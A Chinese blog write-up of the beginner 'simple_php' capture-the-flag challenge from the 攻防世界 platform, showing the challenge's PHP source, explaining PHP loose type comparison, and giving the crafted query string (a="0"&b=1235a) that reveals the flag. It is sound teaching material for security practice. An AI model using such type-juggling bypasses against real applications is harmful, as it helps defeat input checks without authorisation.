

# 攻防世界simple\_PHP解析

原创

nwpuhkp 于 2021-10-29 13:22:52 发布 2097 收藏

分类专栏: [攻防世界 php 安全](#) 文章标签: [php 开发语言 后端 安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/chlet/article/details/121032658>

版权



[攻防世界](#) 同时被 3 个专栏收录

3 篇文章 0 订阅

订阅专栏



[php](#)

2 篇文章 0 订阅

订阅专栏



[安全](#)

2 篇文章 0 订阅

订阅专栏

攻防世界simple\_PHP解析:

返回 本题用时: 2分59秒

**simple\_php** 👍 210 最佳Writeup由MOLLMY提供

难度系数: ★ 1.0

题目来源: Cyberpeace-n3k0

题目描述: 小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

题目场景: 🖥️ http://111.200.241.244:57393

删除场景

倒计时: 03:54:42 延时

点开场景：

```
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>
```

CSDN @7SSlong

这里有三个条件，我们可以逐一分析：


- (1) 如果a=0且a为真，我们可以得到flag1；
- (2) is\_number(\$b)的意思是判断b是否为数字，如果为数字则返回，说明此处的b不能为数字不然就执行exit（）了；
- (3) 要求b大于1234，可以得到flag2；

综上：

b要求非数字并且大于1234，涉及到php的弱类型比较；

本文直接给出b=1235a>1234，且b不为数字；

所以我们直接给url补充信息就好了；

 111.200.241.244:57393/index.php?a="0"&b=1235a

```
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
```

```
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>
```

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

CSDN @7SSlong

最后得到我们的完整flag: